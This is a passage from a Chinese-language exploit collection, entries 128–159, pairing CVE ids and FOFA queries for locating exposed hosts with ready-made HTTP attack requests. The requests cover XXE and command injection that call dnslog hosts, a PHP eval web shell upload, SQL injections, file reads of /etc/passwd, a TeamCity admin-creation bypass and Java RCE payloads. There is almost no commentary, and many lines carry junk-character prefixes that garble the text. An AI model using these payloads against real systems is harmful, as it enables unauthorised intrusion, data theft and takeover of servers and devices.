2 b8 m, B- M' L6 \------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
# @1 J) t2 x2 UContent-Type: text/plain
, A, S& F) z9 Y; m9 d& @
<?xml version="1.0" encoding="UTF-8"?>
6 T  N! D# X, ]& f* u$ i9 \% D4 B<!DOCTYPE test [
- \: J! u8 X; Z/ W" \) ~7 d<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
+ l0 O7 A: e# f( E1 a]
, J: ?' K& H0 H>
<test>&t;</test>
0 W8 r) R9 Z' l* u1 G------WebKitFormBoundaryJGgV5l5ta05yAIe0--
5 w+ ]6 C1 |' Q' u1 U: J3 |& \
. t6 \- i' k1 d) N8 ]  ^+ O. O

$ @# `$ R1 I, l7 a, ~4 r" g% U128. Adobe ColdFusion 反序列化
- {1 D  a# S9 Z+ RCVE-2023-38203
+ i9 x- m7 |7 O2 wAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
$ ], N+ z) |& j% y+ ]% CPAYLOAD
" j$ `2 E2 l& F
4 v" ~5 h4 _* f- |8 u& j129. Adobe ColdFusion 任意文件读取
! R# J7 S& A+ TCVE-2024-20767
' J  M' O4 l5 S) ~' d' B  WFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
. L' f/ Q$ O3 eAccept-Encoding: gzip, deflate
Connection: close
, y, w) O7 Q3 g" F8 ]

" o4 u2 }5 K% p& z8 z) k4 S# X9 c第二步，读取/etc/passwd文件
& _) `& j  \2 A& W: P7 r0 tGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
9 v$ y! G* Q1 L4 \8 i9 FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
% O6 N' M8 Q, FAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
! y% s2 Y0 r" @6 c7 p: ^
9 G/ ?* H5 j; a7 B$ Q2 ?8 H4 f9 c
( O7 w+ m3 ^% }6 G% w; d* z130. Laykefu客服系统任意文件上传
! m: m+ T9 |, h6 A4 A8 \3 uFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
' \% d6 Q  {$ G; e# CAccept: application/json, text/javascript, */*; q=0.01
( l: j* e. Q' K; zX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
) k8 s5 v( K$ ]" s: iContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
. V1 C  o) q1 f1 H
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
" \! A  r" }8 A- P/ x8 V9 WContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
4 Z2 ]9 t8 u+ O* y------WebKitFormBoundary3OCVBiwBVsNuB2kR--


* j4 ^5 p  r# W% r& ^% J: `8 O131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

  Z' ]8 V6 W9 U) L- k132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
% d- |6 W/ G' GHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


# m9 U- a' b) X. dCVE-2024-27199
6 T, T$ B8 L' h" g! O# Z, ?/res/../admin/diagnostic.jsp
( a+ D% T8 C4 \+ s1 a/ d  X+ D8 p/.well-known/acme-challenge/../../admin/diagnostic.jsp
, ]6 O& M: J/ e3 p: D/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

. J2 T7 D7 \" [( _# ~" m$ O7 [

0 ]) _, j0 y( G3 g134. 网康NS-ASG应用安全网关index.php sql注入
+ `) v  u: K' S1 WCVE-2024-2330
7 c8 H9 F/ d+ h1 c7 aNetentsec NS-ASG Application Security Gateway 6.3版本
5 t+ Q9 X9 ?4 e1 B8 LFOFA：app="网康科技-NS-ASG安全网关"
' `( u! K# d  v- U9 n+ y- J' vPOST /protocol/index.php HTTP/1.1
6 b2 M) l& Y1 t: _* Q6 {Host: x.x.x.x
$ k' J$ Q4 y7 q4 w( g  F6 pCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
" Y! V- Q0 ^, a$ IAccept: */*
3 e6 {' ~8 ]! O% ^  Y% TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 F+ H# [6 R# M4 e4 qAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
: W6 w8 f" Y  u/ ^Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
$ a2 j% ~9 x3 D) c: g# n7 E7 F% {' uContent-Type: application/x-www-form-urlencoded
+ C+ |& p* ~1 J# k5 tContent-Length: 263
% _  a: C( u( i% U- _* m4 }
9 ]. K4 X, ]5 Cjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


0 X) @* }* |, ^$ o! R  S+ _1 P135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
' X6 a% }" z8 A& [CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
: S' K! T$ s, M) A1 G" [3 aFOFA：app="网康科技-NS-ASG安全网关"
% m3 [! x. I" y/ W$ NGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
3 D, X% P9 q) S& ~; M1 {1 uHost: x.x.x.x
' k) p& o: x) B% A* L0 v- ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 P% n/ {! Y( n7 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 O% Z+ P; N" H2 d9 w$ HAccept-Encoding: gzip, deflate
- ~+ h* F* f/ c6 }5 X; BAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 ~  b# W$ S$ t3 `

, [* `- W* N6 H# k; [) l136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
. m! H  @3 K1 nHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

% S0 h$ V% v; v- z) ~" _9 Q
137. 福建科立迅通信指挥调度平台down_file.php sql注入
! z* i0 }, g$ n* {CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
% t# ?! b+ Y. E8 LHost: x.x.x.x
$ d& C, y$ a7 I4 M% C: KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 |6 g$ q# s" j6 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
1 p0 ?5 c5 A! Y- FConnection: close
* f* w5 H3 P1 L( }2 m  x( e% N& yCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
0 g9 C3 `' v1 a4 K1 g

/ n4 V. Y! U& j  R138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
' u% N9 A. C9 N  I& s; tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# o$ w% z, b* Z( W/ L& r: qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ]9 ~( P, T/ z' M9 r" Z. t) GAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
/ k' Q6 ^/ I0 s$ Z

0 M- m* a* w6 q- T5 G139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
- Y& }' Z- w! L. t, @- ]Host: x.x.x.x
/ \% J/ s5 M) x9 i5 V" t0 v" LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 k: K. B; ?, Z- ^9 g) {) ]2 D) U+ zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( g3 M# z5 R# HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  i! x! G  E: j: }Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
. f8 [; |0 @# t; ]1 d3 kUpgrade-Insecure-Requests: 1
* I% c# e) v; e" S5 P* O8 i8 Q
# G' K8 n# H! R+ ]0 t
9 ?' @, b' t) ]/ @3 i140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
1 X* G6 `4 r4 O0 u# aCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 C$ K1 p& U# @: w# x' rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% B: N" ~& B2 O1 N  Y" r5 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
7 k3 s: w9 E' y7 s3 G2 sCookie: authcode=h8g9
; \  W4 F  p8 I5 n& ^" YUpgrade-Insecure-Requests: 1

- R7 `& W* c/ J9 c& S6 B- o
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
- G& s, l3 P; o/ x' {FOFA：body="指挥调度管理平台"
9 L3 G$ V  [5 {! A% y. Q% BPOST /app/ext/ajax_users.php HTTP/1.1
4 T$ j; h& G: d( {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
8 D8 W9 B+ }+ @, F9 `Content-Type: application/x-www-form-urlencoded

4 V( x, b2 d9 ~) |; s/ U; V
! _6 ~; E# u' z. ~. I2 x( ]. Ddep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

, G: \1 a& z- r
' {: P5 Z1 i' |# V142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
& I. z  h) Q+ j3 Vadmin/admin
+ n+ _& m; S+ c- q7 @; _. w143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
8 X* o3 ^4 s5 O8 ?0 Q% s. B1 J8 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
" m6 J  V) l  I- F8 t1 z, AAccept: */*
Accept-Language: en
! O5 k; d  j' tAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
( `7 }# t4 e4 A, QCVE-2024-3400
FOFA：icon_hash="-631559155"
6 c- J" B7 E% y, \$ M$ MGET /global-protect/login.esp HTTP/1.1
- @+ _- k1 _" UHost: 192.168.30.112:1005
: m2 G6 }2 `! x3 ]1 K& C8 e. n3 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
7 @/ x, \* |; ^: ?# m' bConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
7 L# S/ ~" `( P& ]- \0 @# C1 L5 iAccept-Encoding: gzip

% z) `8 y% p- h7 ~# w
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
/ L- x7 }, p3 }+ x2 A) U/ O0 eGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
- R/ V- _; r. F6 _2 k5 O5 \  f+ YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
# `5 d; {( P- Y: G4 u! @Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
) p8 x/ f" ?( y* y" O

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
8 I/ J7 w% S3 G4 A% o1 C+ W% tFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
& c8 m; w1 r* l% y  m% e) S0 G2 f' aCache-Control: max-age=0
Connection: close

7 Q; d# N" f: Y  {; i9 S: x
148. CrushFTP 认证绕过模板注入
3 _: N6 A1 i& h* GCVE-2024-4040
FOFA：body="CrushFTP"
( r1 e$ |$ g5 W3 `( ^* A8 j( zPAYLOAD
) E' g+ Y' k0 x! L- Z% {  I
$ ^0 B  y) L$ _149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

* ~- b9 A/ C+ W5 T! i; {5 sPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
/ m5 ~6 e: H( }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. Q- W8 G7 j) y8 t+ w& i) |Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
* q' K- e8 C$ m7 o# Y9 V. xContent-Type: application/json;charset=UTF-8
. \9 n( d: j9 e! gConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 {/ o# T8 A1 e1 i/ y8 j
4 p/ m% T( U' H& ~. d7 W# {3 w7 Z150. AJ-Report 1.4.0 认证绕过与远程代码执行
! O  r, e4 m/ Q" R. D# ZFOFA：title="AJ-Report"
8 ]$ I) C) ^4 uPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
. R. a7 _4 I1 V1 y2 Y, t5 j- hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. R5 ?' g- w% A3 K: ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 J' T- ~; l4 H! F: |) tAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
/ k; D$ P* d/ Y+ f) I7 e9 vConnection: close
Content-Length: 339

- C& h8 _' }' A# e! P% b) Q6 m. g{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
% a& \; x6 m9 \; J9 M6 \
5 N- C0 C* s0 }3 {3 h
1 U: M7 I/ s; B- m151. AJ-Report 1.4.1 pageList sql注入
) O" U* r  R9 D: D, C7 e) h7 L+ VFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 k# _' N3 n  C& }0 y$ jAccept-Encoding: gzip
4 i. {, _8 S/ M, h
. d0 l$ J7 g0 k- |- x
152. Progress Kemp LoadMaster 远程命令执行
2 N9 V( x5 v0 t/ q$ I4 y8 [CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
% j: p0 r( W# p2 G4 ^& gLoadMaster<=7.2.54.8 (LTSF)
3 D6 Y2 p3 _7 H3 h7 y0 XLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
7 S$ Y- W# i4 f! ]4 W0 w* `GET /access/set?param=enableapi&value=1 HTTP/1.1
- {. y. {0 v9 \) ~. o. {7 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
% D# |3 G8 V- r) l8 Y( b4 a/ _% ?5 o) VConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

7 e8 V* \1 {6 S! \! [% H/ c0 h9 I
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
! w+ Q0 T7 D+ z9 g. h6 j) U第一步，请求/config文件获取componets的id
http://x.x.x.x/config
4 Z; o, ?; F' D  L$ k) r3 {
; }9 H- L' |: C( _9 \9 |  B! U" s
第二步，将/etc/passwd的内容写入到一个临时文件
" Z: Y* B$ X; ?  J* QPOST /component_server HTTP/1.1
1 N& n' S0 _' }% K* X, FHost: x.x.x.x
" U# E1 Q* {6 g. v7 e" r0 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
" P0 h6 V' g+ |Content-Length: 115
. e: ?; _7 x5 q0 Q- [; gContent-Type: application/json
: {$ X" T! ]: @* ^Accept-Encoding: gzip

( S3 l- Z' K% G4 n8 d- B) S{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

: K" p4 X3 J9 |! u3 g: }* ]. ?
第三步访问
( Q' U: k; w: v1 }1 jhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


! i* q: S2 f! s3 E- M154. 天维尔消防救援作战调度平台 SQL注入
: U* `% b$ E# p2 L1 TCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
; f; r1 K( G) j# pHost: x.x.x.x
* Z1 R% K( h$ s. p1 L$ G) k$ s8 }Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
  m+ K, d' U7 t' ]5 J. |' QOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
' W3 {: P' S& a' W7 [2 e1 ^2 U7 MCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
: h; L2 ^$ ]1 ~1 ]Host: x.x.x.x
0 ^, ?7 }- n3 w$ }4 C; {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
7 h; `. e; L; h5 O( uAccept: application/json, text/javascript, */*; q=0.01
" t2 N. B( r" u7 u+ `' J1 GAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
2 ?7 U  V2 h$ w$ ZX-Requested-With: XMLHttpRequest
3 M2 h3 ^  y0 G, h' I: r' C0 R0 _
, \1 g7 y+ }9 D. _-----------------------------qttl7vemrsold314zg0f
& G, ~0 J1 d% v; a: u8 A: s# d$ x! [Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
6 F& A$ R  g2 ~# Y7 ~9 ]
9 P/ H. k3 K$ C4 a<?php phpinfo();unlink(__FILE__);?>
; u+ k# x$ e* p2 R- B# _-----------------------------qttl7vemrsold314zg0f--
3 W# h9 h4 E/ a; v/ `1 _% f
$ N2 c$ n4 G( P- _3 P8 {: T
8 Z/ K2 U6 Z* f6 ~2 U9 t) M访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

+ B+ P- z9 R  C9 J156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
& R/ q, K* \0 Y- O$ [3 m·TBK DVR-4216
1 e( {8 L  M. I7 ocurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


" V% K5 Y, a# b$ _, H. X/ APOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
+ r2 x2 Z, {8 @: l- |& W" nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, ]% N; n0 Q6 o5 a; YConnection: close
; X# B& S  p+ _; YContent-Length: 0
Cookie: uid=1
& A! b5 L& X) R" S& H1 w6 l7 w4 ZAccept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
% Q& a* {; T& D( IPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
7 W: ~2 X. b5 i/ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
% A7 k- ]; V6 d( X9 K  D4 t9 h! C4 f' G  BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
, P* k# B, f: i  d- b% h! T! @
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
4 C- [3 @8 V7 C& i( QContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
! J) Y* V1 q7 Z2 MContent-Disposition: form-data; name="key"
1 s! `* K" t1 E0 x5 M, E" |- ^6 K
null
, W* N+ u& O. L3 D% d8 I------WebKitFormBoundary1imovELzPsfzp5dN
( v3 `( Z6 N/ B2 p( C; o! b% s; LContent-Disposition: form-data; name="form"
& G0 X" _4 M& i1 K( B
null
------WebKitFormBoundary1imovELzPsfzp5dN
' `$ s1 W! J5 O) z! k, j; m5 p0 vContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
1 o: y1 ]- b( {/ R- R7 nContent-Disposition: form-data; name="filetitile"

' [. g) i5 \6 f+ cnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

* j7 _3 o7 |- q/ mnull
------WebKitFormBoundary1imovELzPsfzp5dN--
( S2 g6 V4 d# _7 M" J! [
/ e. |2 h; ^' f
6 m$ X9 a7 `7 P6 I0 c5 ]http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
3 ~$ s: }, Q0 `3 V
% V0 W& e8 F' V7 p- ]158. Mura-CMS-processAsyncObject存在SQL注入
, }* H4 t" R$ t, o: A/ ]' MCVE-2024-32640
FOFA："Generator: Masa CMS"
% w; ?+ J; i/ C% ^POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
  S* v5 j% y) E) OHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
8 D, F$ S3 p+ f6 ~" E9 X; a
, V$ Y4 Q; \/ b0 [/ B# dobject=displayregion&contenthistid=x\'&previewid=1

" _, C1 `6 T3 N; U
2 g/ N7 z8 ?' D/ z2 Z$ a- [159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
